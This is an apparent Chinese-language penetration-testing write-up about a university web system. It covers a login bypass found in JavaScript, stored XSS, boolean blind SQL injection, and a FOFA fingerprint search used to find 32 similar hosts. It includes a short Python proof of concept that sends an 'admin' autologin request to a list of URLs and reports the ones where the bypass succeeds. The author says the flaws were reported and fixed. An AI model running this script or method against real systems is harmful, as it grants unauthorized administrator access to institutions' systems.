实战记录：EDU网站漏洞通杀全过程

菜鸟学安全 2024-04-08 1308

电子说

1.3w人已加入

描述

一、漏洞挖掘

1、逻辑缺陷

熟悉的页面，熟悉的弱口令测试，但无果

edu

我就把目光转向js审计，果不其然有新发现，可以根据账号自动登录

edu

于是直接构造请求绕过登录

edu

经典的管理员权限

2、存储型XSS

寻找文本输入

edu

浅析：前端：这里的标签都是普通标签，没有像RCDATA元素(RCDATA elements)，有和<title>，会做一次HTML编码，所以可以直接插入危险的js代码。后端：没有任何过滤（xs~</p> <p align="center"> <img src='https://file1.elecfans.com/web2/M00/C7/5C/wKgZomYTWW6ADPvCAACjs_sNLsc382.jpg' alt='edu' /></p> <p style="text-indent:2em;"> 所以就简单了，直接插入<script>alert('1')</script>即可</p> <p align="center"> <img src='https://file1.elecfans.com/web2/M00/C7/5C/wKgZomYTWW6ASE9lAACFPGdfuOA160.jpg' alt='edu' /></p> <p style="text-indent:2em;"> 3、SQL注入</p> <p align="center"> <img src='https://file1.elecfans.com/web2/M00/C7/5C/wKgZomYTWW6AJY5UAACg8NjmVGM838.jpg' alt='edu' /></p> <p style="text-indent:2em;"> 测试无果</p> <p align="center"> <img src='https://file1.elecfans.com/web2/M00/C7/5C/wKgZomYTWW-AZhiMAACZZUkCVdE148.jpg' alt='edu' /></p> <p style="text-indent:2em;"> 最后发现注入点在第一个函数，果然任何一个输入点都可能是不安全的，是布尔型盲注</p> <p align="center"> <img src='https://file1.elecfans.com/web2/M00/C7/5C/wKgZomYTWW-AVdoBAADQYAsbLw8267.jpg' alt='edu' /></p> <p style="text-indent:2em;"> 后面就是经典Sqlmap了</p> <p align="center"> <img src='https://file1.elecfans.com/web2/M00/C7/5C/wKgZomYTWW-AbrESAABykGIupuE180.jpg' alt='edu' /></p> <p style="text-indent:2em;"> <strong>二、继续通杀</strong></p> <p style="text-indent:2em;"> 根据系统指纹在fofa上搜索："xx系统" && icon_hash="11xxxx"有32个IP，看了下，有重复的</p> <p align="center"> <img src='https://file1.elecfans.com/web2/M00/C7/5D/wKgZomYTWW-AQpGcAAA0WXRh4ow523.jpg' alt='edu' /></p> <p style="text-indent:2em;"> 使用fofa_viewer导出目标这里我根据第一个逻辑漏洞的漏洞指纹信息，写了一个简单poc</p> <p style="text-indent:2em;"> </p> <p style="text-indent:2em;"> </p> <pre> import requests def poc(url): poc_url = url + '/login/doautologin.edu' data = {'um.userid': "admin"} try: res = requests.post(poc_url, data=data, timeout=5) if (res.headers.get("Set-Cookie")): # 登录成功就会set-cookie print(url + '/login.html') except BaseException: pass if __name__ == '__main__': with open('url.txt', 'r') as f: for i in f: poc(i.rstrip(' ')) </pre> <p> </p> <p style="text-indent:2em;"> </p> <p style="text-indent:2em;"> 以上漏洞均已报告给相应学校且已修复</p> <p style="text-indent:2em;"> <strong>三、思考总结</strong></p> <p style="text-indent:2em;"> 1）在访问系统当中的时候F12查看源码是一个不错的习惯（尤其是有前端弹框的）</p> <p style="text-indent:2em;"> 2）前端代码的一切展示行为完全可控(一定要理解这句话)</p> <p style="text-indent:2em;"> 3）了解程序的底层逻辑，你才能更清晰的知道每一个参数的意义</p> <p style="text-indent:2em;"> 本文作者：B0ther</p> <p style="text-indent:2em;"> 审核编辑：黄飞</p>  <script type="application/ld+json"> { "@context": "https://zhanzhang.baidu.com/contexts/cambrian.jsonld", "@id": "//m.obk20.com/article/2662155.html", "title": "实战记录：EDU网站漏洞通杀全过程", "images": [ "https://file1.elecfans.com/web2/M00/C8/42/wKgaomYTWW2APqtEAAAHUOIV7y0400.jpg" ], "description": "浅析：前端：这里的标签都是普通标签，没有像RCDATA元素(RCDATA elements)，有<textarea>和<title>，会做一次HTML编码，所以可以直接插入危险的js代码。后端：没有任何过滤（xs~", "pubDate": "2024-04-08T10:39:51" } </script>  </div>   <span class="open_app_arc baidu_click_tongji2 downAppBtn inAppHide">打开APP阅读更多精彩内容</span> <div class="see_more_arc hide"> <div class="arrow_more show_more"> <i></i> <i></i> </div> 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